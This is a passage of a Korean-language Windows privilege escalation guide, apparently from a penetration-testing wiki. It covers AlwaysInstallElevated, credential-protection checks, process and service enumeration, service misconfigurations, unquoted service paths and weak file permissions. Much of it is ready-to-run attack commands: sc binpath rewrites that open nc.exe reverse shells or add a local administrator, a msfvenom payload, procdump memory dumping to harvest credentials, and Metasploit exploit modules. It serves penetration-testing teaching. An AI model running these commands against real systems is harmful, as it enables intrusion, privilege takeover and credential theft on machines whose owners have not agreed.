์•…์„ฑ .msi ํŒŒ์ผ์˜ ์„ค์น˜๋ฅผ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰ํ•˜๋ ค๋ฉด:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: exploit/windows/local/always_install_elevated

์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค ๋ฐ ํƒ์ง€๊ธฐ

๊ฐ์‚ฌ ์„ค์ •

์ด ์„ค์ •์€ ์–ด๋–ค ํ•ญ๋ชฉ์ด ๋กœ๊ทธ์— ๊ธฐ๋ก๋˜๋Š”์ง€ ๊ฒฐ์ •ํ•˜๋ฏ€๋กœ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding๋Š” ๋กœ๊ทธ๊ฐ€ ์–ด๋””๋กœ ์ „์†ก๋˜๋Š”์ง€ ์•Œ์•„๋ณด๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กญ๋‹ค

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS๋Š” ๋กœ์ปฌ Administrator ์•”ํ˜ธ์˜ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ, ๋„๋ฉ”์ธ์— ๊ฐ€์ž…๋œ ์ปดํ“จํ„ฐ์—์„œ ๊ฐ ์•”ํ˜ธ๊ฐ€ ๊ณ ์œ ํ•˜๊ณ  ๋ฌด์ž‘์œ„์ด๋ฉฐ ์ •๊ธฐ์ ์œผ๋กœ ๊ฐฑ์‹ ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์•”ํ˜ธ๋Š” Active Directory ๋‚ด์— ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅ๋˜๋ฉฐ, ACL์„ ํ†ตํ•ด ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์‚ฌ์šฉ์ž๋งŒ์ด ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ์•”ํ˜ธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LAPS

WDigest

ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ plain-text passwords๋Š” LSASS (Local Security Authority Subsystem Service)์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.\

More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1๋ถ€ํ„ฐ Microsoft๋Š” Local Security Authority (LSA)์— ๋Œ€ํ•ด ํ–ฅ์ƒ๋œ ๋ณดํ˜ธ๋ฅผ ๋„์ž…ํ•˜์—ฌ, ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ์œผ๋ ค๋Š” ์‹œ๋„๋‚˜ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋ ค๋Š” ์‹œ๋„๋ฅผ ์ฐจ๋‹จํ•จ์œผ๋กœ์จ ์‹œ์Šคํ…œ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ–ˆ์Šต๋‹ˆ๋‹ค.\
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard๋Š” Windows 10์— ๋„์ž…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์˜ ๋ชฉ์ ์€ ์žฅ์น˜์— ์ €์žฅ๋œ credentials๋ฅผ pass-the-hash ๊ณต๊ฒฉ๊ณผ ๊ฐ™์€ ์œ„ํ˜‘์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials๋Š” Local Security Authority (LSA)์— ์˜ํ•ด ์ธ์ฆ๋˜๋ฉฐ ์šด์˜ ์ฒด์ œ ๊ตฌ์„ฑ ์š”์†Œ์— ์˜ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์˜จ ๋ฐ์ดํ„ฐ๊ฐ€ ๋“ฑ๋ก๋œ security package์— ์˜ํ•ด ์ธ์ฆ๋˜๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ domain credentials๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน

์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน ์—ด๊ฑฐ

์†Œ์†๋œ ๊ทธ๋ฃน ์ค‘ ๊ถŒํ•œ์ด ํฅ๋ฏธ๋กœ์šด ๊ทธ๋ฃน์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

ํŠน๊ถŒ ๊ทธ๋ฃน

๋งŒ์•ฝ ๋‹น์‹ ์ด ์–ด๋–ค ํŠน๊ถŒ ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ๋‹ค๋ฉด ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ํŠน๊ถŒ ๊ทธ๋ฃน๊ณผ ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”:

Privileged Groups

Token manipulation

๋” ์•Œ์•„๋ณด๊ธฐ: ์ด ํŽ˜์ด์ง€์—์„œ token์ด ๋ฌด์—‡์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”: Windows Tokens.
๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํฅ๋ฏธ๋กœ์šด token๋“ค์— ๋Œ€ํ•ด ์•Œ์•„๋ณด๊ณ  ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”:

Abusing Tokens

๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž / ์„ธ์…˜

qwinsta
klist sessions

ํ™ˆ ํด๋”

dir C:\Users
Get-ChildItem C:\Users

๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…

net accounts

ํด๋ฆฝ๋ณด๋“œ์˜ ๋‚ด์šฉ ๊ฐ€์ ธ์˜ค๊ธฐ

powershell -command "Get-Clipboard"

์‹คํ–‰ ์ค‘์ธ Processes

ํŒŒ์ผ ๋ฐ ํด๋” ๊ถŒํ•œ

๋จผ์ €, ํ”„๋กœ์„ธ์Šค๋ฅผ ๋‚˜์—ดํ•˜์—ฌ process์˜ command line ์•ˆ์— passwords๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
์‹คํ–‰ ์ค‘์ธ ์ผ๋ถ€ overwrite some binary running์„ ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ๋˜๋Š” binary ํด๋”์— write ๊ถŒํ•œ์ด ์žˆ์–ด ์ž ์žฌ์ ์ธ DLL Hijacking attacks๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

ํ•ญ์ƒ electron/cef/chromium debuggers๊ฐ€ ์‹คํ–‰ ์ค‘์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”, ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ถŒํ•œ ํ™•์ธ

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

ํ”„๋กœ์„ธ์Šค binaries์˜ ํด๋” ๊ถŒํ•œ ํ™•์ธ (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ๋คํ”„๋Š” sysinternals์˜ procdump๋ฅผ ์‚ฌ์šฉํ•ด ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. FTP ๊ฐ™์€ ์„œ๋น„์Šค๋Š” credentials in clear text in memory๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์œผ๋‹ˆ, ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•˜์—ฌ credentials๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

procdump.exe -accepteula -ma <proc_name_tasklist>

์ทจ์•ฝํ•œ GUI ์•ฑ

SYSTEM๋กœ ์‹คํ–‰๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์‚ฌ์šฉ์ž๊ฐ€ CMD๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ: โ€œWindows Help and Supportโ€ (Windows + F1)์—์„œ โ€œcommand promptโ€œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ  โ€œClick to open Command Promptโ€œ๋ฅผ ํด๋ฆญ

์„œ๋น„์Šค

Service Triggers์€ ํŠน์ • ์กฐ๊ฑด์ด ๋ฐœ์ƒํ•  ๋•Œ Windows๊ฐ€ ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh ๋“ฑ). SERVICE_START ๊ถŒํ•œ์ด ์—†์–ด๋„ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ ์ข…์ข… ๊ถŒํ•œ ์žˆ๋Š” ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ด๊ฑฐ ๋ฐ ํ™œ์„ฑํ™” ๊ธฐ๋ฒ•์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Service Triggers

์„œ๋น„์Šค ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ค๊ธฐ:

net start
wmic service list brief
sc query
Get-Service

๊ถŒํ•œ

์„œ๋น„์Šค ์ •๋ณด๋ฅผ ์–ป์œผ๋ ค๋ฉด sc๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

sc qc <service_name>

๊ฐ ์„œ๋น„์Šค์— ํ•„์š”ํ•œ ๊ถŒํ•œ ์ˆ˜์ค€์„ ํ™•์ธํ•˜๋ ค๋ฉด _Sysinternals_์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ accesschk๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

โ€œAuthenticated Usersโ€œ๊ฐ€ ์–ด๋–ค ์„œ๋น„์Šค๋“  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

์„œ๋น„์Šค ํ™œ์„ฑํ™”

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ (์˜ˆ: SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

์„œ๋น„์Šค upnphost๊ฐ€ ์ž‘๋™ํ•˜๋ ค๋ฉด SSDPSRV์— ์˜์กดํ•œ๋‹ค๋Š” ์ ์„ ๊ณ ๋ คํ•˜์„ธ์š” (XP SP1์˜ ๊ฒฝ์šฐ)

์ด ๋ฌธ์ œ์˜ ๋˜ ๋‹ค๋ฅธ ์šฐํšŒ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

sc.exe config usosvc start= auto

Modify service binary path

์„œ๋น„์Šค์— ๋Œ€ํ•ด โ€œAuthenticated usersโ€ ๊ทธ๋ฃน์ด SERVICE_ALL_ACCESS ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ฒฝ์šฐ, ์„œ๋น„์Šค์˜ ์‹คํ–‰ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋น„์Šค๋ฅผ ์ˆ˜์ •ํ•˜๊ณ  ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด sc๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

์„œ๋น„์Šค ์žฌ์‹œ์ž‘

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges can be escalated through various permissions:

  • SERVICE_CHANGE_CONFIG: ์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ ์žฌ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • WRITE_DAC: ๊ถŒํ•œ ์žฌ๊ตฌ์„ฑ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ ์„œ๋น„์Šค ๊ตฌ์„ฑ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • WRITE_OWNER: ์†Œ์œ ๊ถŒ ํš๋“ ๋ฐ ๊ถŒํ•œ ์žฌ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • GENERIC_WRITE: ์„œ๋น„์Šค ๊ตฌ์„ฑ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ์ƒ์†ํ•ฉ๋‹ˆ๋‹ค.
  • GENERIC_ALL: ์—ญ์‹œ ์„œ๋น„์Šค ๊ตฌ์„ฑ ๋ณ€๊ฒฝ ๋Šฅ๋ ฅ์„ ์ƒ์†ํ•ฉ๋‹ˆ๋‹ค.

For the detection and exploitation of this vulnerability, the exploit/windows/local/service_permissions can be utilized.

Services binaries weak permissions

์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์œ„์น˜ํ•œ ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” (DLL Hijacking).
You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

๋˜ํ•œ sc ๋ฐ icacls๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

์„œ๋น„์Šค ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ˆ˜์ • ๊ถŒํ•œ

์„œ๋น„์Šค ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์„œ๋น„์Šค ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users ๋˜๋Š” NT AUTHORITY\INTERACTIVE๊ฐ€ FullControl ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

์„œ๋น„์Šค ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ AppendData/AddSubdirectory ๊ถŒํ•œ

์ด ๊ถŒํ•œ์ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์žˆ์œผ๋ฉด ์ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ํ•˜์œ„ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Windows ์„œ๋น„์Šค์˜ ๊ฒฝ์šฐ ์ด๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค:

AppendData/AddSubdirectory permission over service registry

๋”ฐ์˜ดํ‘œ ์—†๋Š” ์„œ๋น„์Šค ๊ฒฝ๋กœ

์‹คํ–‰ ํŒŒ์ผ ๊ฒฝ๋กœ๊ฐ€ ๋”ฐ์˜ดํ‘œ๋กœ ๋ฌถ์—ฌ ์žˆ์ง€ ์•Š์œผ๋ฉด, Windows๋Š” ๊ณต๋ฐฑ ์ด์ „์˜ ๋ชจ๋“  ๊ฒฝ๋กœ๋“ค์„ ์ˆœ์„œ๋Œ€๋กœ ์‹คํ–‰ํ•˜๋ ค ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๊ฒฝ๋กœ C:\Program Files\Some Folder\Service.exe ์˜ ๊ฒฝ์šฐ Windows๋Š” ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋ ค ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

๋‚ด์žฅ๋œ Windows ์„œ๋น„์Šค์— ์†ํ•˜์ง€ ์•Š๋Š” ํ•ญ๋ชฉ์„ ์ œ์™ธํ•˜๊ณ , ์ธ์šฉ๋˜์ง€ ์•Š์€ ๋ชจ๋“  ์„œ๋น„์Šค ๊ฒฝ๋กœ๋ฅผ ๋‚˜์—ด:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

ํƒ์ง€ํ•˜๊ณ  ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ์ด ์ทจ์•ฝ์ ์„ metasploit ๋ชจ๋“ˆ๋กœ: exploit/windows/local/trusted\_service\_path
metasploit๋กœ ์ˆ˜๋™์œผ๋กœ ์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows๋Š” ์„œ๋น„์Šค๊ฐ€ ์‹คํŒจํ•  ๊ฒฝ์šฐ ์ˆ˜ํ–‰ํ•  ๋™์ž‘์„ ์‚ฌ์šฉ์ž๊ฐ€ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ํŠน์ • binary๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น binary๋ฅผ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด privilege escalation์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ official documentation์„ ์ฐธ์กฐํ•˜์„ธ์š”.

Applications

Installed Applications

permissions of the binaries์™€ ํด๋”๋ฅผ ํ™•์ธํ•˜์„ธ์š” (maybe you can overwrite one and escalate privileges) (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

์“ฐ๊ธฐ ๊ถŒํ•œ

ํŠน์ • config file์„ ์ˆ˜์ •ํ•ด ํŠน๋ณ„ํ•œ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€, ๋˜๋Š” Administrator ๊ณ„์ •์— ์˜ํ•ด ์‹คํ–‰๋  binary๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€(schedtasks)๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์‹œ์Šคํ…œ์—์„œ ์ทจ์•ฝํ•œ ํด๋”/ํŒŒ์ผ ๊ถŒํ•œ์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

์‹œ์ž‘ ์‹œ ์‹คํ–‰

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์‹คํ–‰ํ•  ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
์ฝ์–ด๋ณด์„ธ์š” ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํฅ๋ฏธ๋กœ์šด autoruns locations to escalate privileges์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”:

Privilege Escalation with Autoruns

๋“œ๋ผ์ด๋ฒ„

๊ฐ€๋Šฅํ•œ ์„œ๋“œํŒŒํ‹ฐ์˜ ์ด์ƒํ•˜๊ฑฐ๋‚˜ ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”

driverquery
driverquery.exe /fo table
driverquery /SI

If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the stepโ€‘byโ€‘step technique here:

